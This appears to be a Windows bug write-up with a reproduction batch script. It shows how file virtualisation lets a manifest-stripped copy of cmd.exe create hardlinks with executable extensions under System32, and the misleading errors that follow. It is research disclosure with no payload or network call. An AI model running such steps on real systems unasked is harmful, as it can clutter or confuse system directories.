Hardlink created for C:\Windows\System32\Quirk49.COM <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.EXE <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.BAT <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.CMD <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.VBS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.JS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.WS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.MSC <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.dll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.efi <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.htm <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.iso <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.jse <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.lnk <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.pif <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.scr <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.sys <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.ttf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.url <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.vbe <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.wll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.wsf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.wsh <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Hardlink created for C:\Windows\System32\Quirk49.xll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk49.com Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.efi 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.htm 04/27/2020 08:15 PM 302,080 Quirk49.iso 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.ttf 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.wll 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 04/27/2020 08:15 PM 302,080 Quirk49.xll 24 File(s) 7,249,920 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.efi 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.htm 04/27/2020 08:15 PM 302,080 Quirk49.iso 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.ttf 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.wll 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 04/27/2020 08:15 PM 302,080 Quirk49.xll 24 File(s) 7,249,920 bytes Total Files Listed: 48 File(s) 14,499,840 bytes 2 Dir(s) 9,876,543,210 bytes free Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Windows 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Syswow64 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.efi 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.htm 04/27/2020 08:15 PM 302,080 Quirk49.iso 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.ttf 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.wll 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 04/27/2020 08:15 PM 302,080 Quirk49.xll 24 File(s) 7,249,920 bytes Total Files Listed: 24 File(s) 7,249,920 bytes 9 Dir(s) 9,876,543,210 bytes freeOUCH: contrary to the statements cited above, executable files can be created with arbitrary extensions!
Oops: all hardlinks created in the
system directory
%SystemRoot%\System32\
appear
in %SystemRoot%\SysWoW64\
too!
Move the (dangerous
) hardlinks created in step 10. from
the system directory
%SystemRoot%\System32\
into
the current (working) directory
, then list the
resulting contents of the system directory
and the
virtual store
:
MOVE "%SystemRoot%\System32\Quirk49.*" . DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. C:\Windows\system32\Quirk49.efi The system cannot find the file specified. C:\Windows\system32\Quirk49.htm C:\Windows\system32\Quirk49.iso The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. C:\Windows\system32\Quirk49.ttf The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. C:\Windows\system32\Quirk49.wll The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. C:\Windows\system32\Quirk49.xll 6 File(s) moved. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Total Files Listed: 36 File(s) 10,874,880 bytes 2 Dir(s) 9,876,543,210 bytes free Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Windows 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Syswow64 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Quirk49 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Total Files Listed: 18 File(s) 5,437,440 bytes 9 Dir(s) 9,876,543,210 bytes freeOUCH: moving (executable) files or hardlinks with
dangerousextensions fails with the wrong error message
The system cannot find the file specified.instead of the appropriate error message
Access denied.
Execute the hardlinks left in the system directory
%SystemRoot%\System32\
:
FOR %? IN ("%SystemRoot%\System32\Quirk49.*") DO @CALL "%~?"
The batch file cannot be found. The batch file cannot be found. The system cannot find the file C:\Windows\system32\quirk49.COM. The system cannot find the file C:\Windows\system32\quirk49.dll. The system cannot find the file C:\Windows\system32\quirk49.EXE. The system cannot find the file C:\Windows\system32\quirk49.JS. The system cannot find the file C:\Windows\system32\quirk49.jse. The system cannot find the file C:\Windows\system32\quirk49.lnk. The system cannot find the file C:\Windows\system32\quirk49.MSC. The system cannot find the file C:\Windows\system32\quirk49.pif. The system cannot find the file C:\Windows\system32\quirk49.scr. The system cannot find the file C:\Windows\system32\quirk49.sys. The system cannot find the file C:\Windows\system32\quirk49.url. The system cannot find the file C:\Windows\system32\quirk49.vbe. The system cannot find the file C:\Windows\system32\quirk49.VBS. The system cannot find the file C:\Windows\system32\quirk49.WS. The system cannot find the file C:\Windows\system32\quirk49.wsf. The system cannot find the file C:\Windows\system32\quirk49.wsh.OUCH: executing (files or) hardlinks with
dangerousextensions fails with the wrong error message
The batch file cannot be found.for batch scripts and for other files with the wrong error message
The system cannot find the file ….instead of the appropriate error message
Access denied.
Create some (empty)
NTFS
Alternate Data Streams
on the directory %SystemRoot%\System32\Quirk49\
created in step 6., then list the resulting contents of only
this directory and the virtual store
:
FOR %? IN (%PATHEXT% %QUIRKS18%) DO @BREAK 1>"%SystemRoot%\System32\Quirk49:Quirk49%?" DIR /A /R /S "%SystemRoot%\Quirk49" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Windows\System32
04/27/2020 08:15 PM <DIR> Quirk49
0 Quirk49:Quirk49.BAT:$DATA
0 Quirk49:Quirk49.CMD:$DATA
0 Quirk49:Quirk49.COM:$DATA
0 Quirk49:Quirk49.dll:$DATA
0 Quirk49:Quirk49.efi:$DATA
0 Quirk49:Quirk49.EXE:$DATA
0 Quirk49:Quirk49.htm:$DATA
0 Quirk49:Quirk49.iso:$DATA
0 Quirk49:Quirk49.JS:$DATA
0 Quirk49:Quirk49.jse:$DATA
0 Quirk49:Quirk49.lnk:$DATA
0 Quirk49:Quirk49.MSC:$DATA
0 Quirk49:Quirk49.pif:$DATA
0 Quirk49:Quirk49.scr:$DATA
0 Quirk49:Quirk49.sys:$DATA
0 Quirk49:Quirk49.ttf:$DATA
0 Quirk49:Quirk49.url:$DATA
0 Quirk49:Quirk49.vbe:$DATA
0 Quirk49:Quirk49.VBS:$DATA
0 Quirk49:Quirk49.wll:$DATA
0 Quirk49:Quirk49.WS:$DATA
0 Quirk49:Quirk49.wsf:$DATA
0 Quirk49:Quirk49.wsh:$DATA
0 Quirk49:Quirk49.xll:$DATA
0 File(s) 0 bytes
Directory of C:\Windows\SysWOW64
04/27/2020 08:15 PM <DIR> Quirk49
0 Quirk49:Quirk49.BAT:$DATA
0 Quirk49:Quirk49.CMD:$DATA
0 Quirk49:Quirk49.COM:$DATA
0 Quirk49:Quirk49.dll:$DATA
0 Quirk49:Quirk49.efi:$DATA
0 Quirk49:Quirk49.EXE:$DATA
0 Quirk49:Quirk49.htm:$DATA
0 Quirk49:Quirk49.iso:$DATA
0 Quirk49:Quirk49.JS:$DATA
0 Quirk49:Quirk49.jse:$DATA
0 Quirk49:Quirk49.lnk:$DATA
0 Quirk49:Quirk49.MSC:$DATA
0 Quirk49:Quirk49.pif:$DATA
0 Quirk49:Quirk49.scr:$DATA
0 Quirk49:Quirk49.sys:$DATA
0 Quirk49:Quirk49.ttf:$DATA
0 Quirk49:Quirk49.url:$DATA
0 Quirk49:Quirk49.vbe:$DATA
0 Quirk49:Quirk49.VBS:$DATA
0 Quirk49:Quirk49.wll:$DATA
0 Quirk49:Quirk49.WS:$DATA
0 Quirk49:Quirk49.wsf:$DATA
0 Quirk49:Quirk49.wsh:$DATA
0 Quirk49:Quirk49.xll:$DATA
0 File(s) 0 bytes
Total Files Listed:
0 File(s) 0 bytes
2 Dir(s) 9,876,543,210 bytes free
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Users\Stefan\AppData\Local\VirtualStore
04/27/2020 08:15 PM <DIR> .
04/27/2020 08:15 PM <DIR> ..
04/27/2020 08:15 PM <DIR> Windows
0 File(s) 0 bytes
Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
04/27/2020 08:15 PM <DIR> .
04/27/2020 08:15 PM <DIR> ..
04/27/2020 08:15 PM <DIR> Syswow64
0 File(s) 0 bytes
Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
04/27/2020 08:15 PM <DIR> .
04/27/2020 08:15 PM <DIR> ..
04/27/2020 08:15 PM <DIR> Quirk49
0 Quirk49:Quirk49.BAT:$DATA
0 Quirk49:Quirk49.CMD:$DATA
0 Quirk49:Quirk49.COM:$DATA
0 Quirk49:Quirk49.dll:$DATA
0 Quirk49:Quirk49.efi:$DATA
0 Quirk49:Quirk49.EXE:$DATA
0 Quirk49:Quirk49.htm:$DATA
0 Quirk49:Quirk49.iso:$DATA
0 Quirk49:Quirk49.JS:$DATA
0 Quirk49:Quirk49.jse:$DATA
0 Quirk49:Quirk49.lnk:$DATA
0 Quirk49:Quirk49.MSC:$DATA
0 Quirk49:Quirk49.pif:$DATA
0 Quirk49:Quirk49.scr:$DATA
0 Quirk49:Quirk49.sys:$DATA
0 Quirk49:Quirk49.ttf:$DATA
0 Quirk49:Quirk49.url:$DATA
0 Quirk49:Quirk49.vbe:$DATA
0 Quirk49:Quirk49.VBS:$DATA
0 Quirk49:Quirk49.wll:$DATA
0 Quirk49:Quirk49.WS:$DATA
0 Quirk49:Quirk49.wsf:$DATA
0 Quirk49:Quirk49.wsh:$DATA
0 Quirk49:Quirk49.xll:$DATA
04/27/2020 08:15 PM 302,080 Quirk49.BAT
04/27/2020 08:15 PM 302,080 Quirk49.CMD
04/27/2020 08:15 PM 302,080 Quirk49.COM
04/27/2020 08:15 PM 302,080 Quirk49.dll
04/27/2020 08:15 PM 302,080 Quirk49.EXE
04/27/2020 08:15 PM 302,080 Quirk49.JS
04/27/2020 08:15 PM 302,080 Quirk49.jse
04/27/2020 08:15 PM 302,080 Quirk49.lnk
04/27/2020 08:15 PM 302,080 Quirk49.MSC
04/27/2020 08:15 PM 302,080 Quirk49.pif
04/27/2020 08:15 PM 302,080 Quirk49.scr
04/27/2020 08:15 PM 302,080 Quirk49.sys
04/27/2020 08:15 PM 302,080 Quirk49.url
04/27/2020 08:15 PM 302,080 Quirk49.vbe
04/27/2020 08:15 PM 302,080 Quirk49.VBS
04/27/2020 08:15 PM 302,080 Quirk49.WS
04/27/2020 08:15 PM 302,080 Quirk49.wsf
04/27/2020 08:15 PM 302,080 Quirk49.wsh
18 File(s) 5,437,440 bytes
Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
04/27/2020 08:15 PM <DIR> .
0 .:Quirk49.BAT:$DATA
0 .:Quirk49.CMD:$DATA
0 .:Quirk49.COM:$DATA
0 .:Quirk49.dll:$DATA
0 .:Quirk49.efi:$DATA
0 .:Quirk49.EXE:$DATA
0 .:Quirk49.htm:$DATA
0 .:Quirk49.iso:$DATA
0 .:Quirk49.JS:$DATA
0 .:Quirk49.jse:$DATA
0 .:Quirk49.lnk:$DATA
0 .:Quirk49.MSC:$DATA
0 .:Quirk49.pif:$DATA
0 .:Quirk49.scr:$DATA
0 .:Quirk49.sys:$DATA
0 .:Quirk49.ttf:$DATA
0 .:Quirk49.url:$DATA
0 .:Quirk49.vbe:$DATA
0 .:Quirk49.VBS:$DATA
0 .:Quirk49.wll:$DATA
0 .:Quirk49.WS:$DATA
0 .:Quirk49.wsf:$DATA
0 .:Quirk49.wsh:$DATA
0 .:Quirk49.xll:$DATA
04/27/2020 08:15 PM <DIR> ..
0 File(s) 0 bytes
Total Files Listed:
18 File(s) 5,437,440 bytes
11 Dir(s) 9,876,543,210 bytes free
Oops: the internal DIR /R
command of
the Command Processor enumerates
Alternate Data Streams not only on regular directories,
but also on the pseudo directories
.
(and
..
) synthesised by the
Win32 functions
FindFirstFile()
and
FindNextFile()
,
resulting in double (or triple) listing of
Alternate Data Streams when the switches
/R
and /S
are used together!
Erase the subdirectory Quirk49
with its
Alternate Data Streams and all (files or) hardlinks
Quirk49.*
created above, then list the resulting
contents of the system directory
and the
virtual store
:
ERASE "%SystemRoot%\System32\Quirk49.*" RMDIR "%SystemRoot%\System32\Quirk49" DIR /A /R /S "%SystemRoot%\Quirk49.*" DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
C:\Windows\System32\Quirk49.BAT The system cannot find the file specified. C:\Windows\System32\Quirk49.CMD The system cannot find the file specified. C:\Windows\System32\Quirk49.COM The system cannot find the file specified. C:\Windows\System32\Quirk49.dll The system cannot find the file specified. C:\Windows\System32\Quirk49.EXE The system cannot find the file specified. C:\Windows\System32\Quirk49.JS The system cannot find the file specified. C:\Windows\System32\Quirk49.jse The system cannot find the file specified. C:\Windows\System32\Quirk49.lnk The system cannot find the file specified. C:\Windows\System32\Quirk49.MSC The system cannot find the file specified. C:\Windows\System32\Quirk49.pif The system cannot find the file specified. C:\Windows\System32\Quirk49.scr The system cannot find the file specified. C:\Windows\System32\Quirk49.sys The system cannot find the file specified. C:\Windows\System32\Quirk49.url The system cannot find the file specified. C:\Windows\System32\Quirk49.vbe The system cannot find the file specified. C:\Windows\System32\Quirk49.VBS The system cannot find the file specified. C:\Windows\System32\Quirk49.WS The system cannot find the file specified. C:\Windows\System32\Quirk49.wsf The system cannot find the file specified. C:\Windows\System32\Quirk49.wsh The system cannot find the file specified. Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\System32 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Directory of C:\Windows\SysWOW64 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Total Files Listed: 36 File(s) 10,874,880 bytes 0 Dir(s) 9,876,543,210 bytes free Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\AppData\Local\VirtualStore 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Windows 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM <DIR> Syswow64 0 File(s) 0 bytes Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64 04/27/2020 08:15 PM <DIR> . 04/27/2020 08:15 PM <DIR> .. 04/27/2020 08:15 PM 302,080 Quirk49.BAT 04/27/2020 08:15 PM 302,080 Quirk49.CMD 04/27/2020 08:15 PM 302,080 Quirk49.COM 04/27/2020 08:15 PM 302,080 Quirk49.dll 04/27/2020 08:15 PM 302,080 Quirk49.EXE 04/27/2020 08:15 PM 302,080 Quirk49.JS 04/27/2020 08:15 PM 302,080 Quirk49.jse 04/27/2020 08:15 PM 302,080 Quirk49.lnk 04/27/2020 08:15 PM 302,080 Quirk49.MSC 04/27/2020 08:15 PM 302,080 Quirk49.pif 04/27/2020 08:15 PM 302,080 Quirk49.scr 04/27/2020 08:15 PM 302,080 Quirk49.sys 04/27/2020 08:15 PM 302,080 Quirk49.url 04/27/2020 08:15 PM 302,080 Quirk49.vbe 04/27/2020 08:15 PM 302,080 Quirk49.VBS 04/27/2020 08:15 PM 302,080 Quirk49.WS 04/27/2020 08:15 PM 302,080 Quirk49.wsf 04/27/2020 08:15 PM 302,080 Quirk49.wsh 18 File(s) 5,437,440 bytes Total Files Listed: 18 File(s) 5,437,440 bytes 8 Dir(s) 9,876,543,210 bytes freeOUCH: deleting (files or) hardlinks with
dangerousextensions fails with the wrong error message
The system cannot find the file specified.instead of the appropriate error message
Access denied.
Finally cleanup the mess created in the virtual store
due to
the bugs of the File Virtualisation:
RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk49" ERASE "%LOCALAPPDATA%\VirtualStore\SysWoW64\Quirk49.*" RMDIR "%LOCALAPPDATA%\VirtualStore\SysWoW64"
REM Copyright © 2009-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF "%COMSPEC%" == "%~dpn0.com" GOTO :QUIRK49
TITLE Step 0: copy the 32-bit 'command processor' and replace its 'application manifest'
MT.EXE /INPUTRESOURCE:"%COMSPEC%" /OUT:"%~dpn0.xml"
IF ERRORLEVEL 1 EXIT /B
IF EXIST "%SystemRoot%\SysWoW64\Cmd.exe" COPY "%SystemRoot%\SysWoW64\Cmd.exe" "%~dpn0.com"
IF NOT EXIST "%SystemRoot%\SysWoW64\Cmd.exe" COPY "%SystemRoot%\System32\Cmd.exe" "%~dpn0.com"
(
ECHO ^<?xml version='1.0' encoding='UTF-8' standalone='yes' ?^>
ECHO ^<!-- Copyright (C) 2009-2024, Stefan Kanthak --^>
ECHO ^<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' /^>
) 1>"%~dpn0.xml"
MT.EXE /CANONICALIZE /MANIFEST "%~dpn0.xml" /OUTPUTRESOURCE:"%~dpn0.com"
IF ERRORLEVEL 1 EXIT /B
FOR /D %%? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @(
IF EXIST "%%?\cmd.exe.mui" IF NOT EXIST "%~dp0%%~n?" (
MKDIR "%~dp0%%~n?" && COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui") ELSE (
COPY "%%?\cmd.exe.mui" "%~dp0%%~n?\%~n0.com.mui"))
SETLOCAL
SET COMSPEC=
SET PATHEXT=
SET PROMPT=
"%~dpn0.com" /C CALL "%~0" 1>"%~dpn0.log" 2>&1
ERASE "%~dpn0.com" "%~dpn0.efi" "%~dpn0.htm" "%~dpn0.iso" "%~dpn0.ttf" "%~dpn0.wll" "%~dpn0.xll" "%~dpn0.xml"
EXIT /B
:QUIRK49
TITLE Step 1: list the (empty) 'virtual store'
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 2: create a subdirectory in the 'system directory'
MKDIR "%SystemRoot%\System32\%~n0"
DIR /A /R /S "%SystemRoot%\%~n0.*"
DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
TITLE Step 3: create (empty) files with 'dangerous' extensions in the 'system directory'
SET PATHEXT
FOR %%? IN (%PATHEXT%) DO COPY NUL: "%SystemRoot%\System32\%~n0%%?"
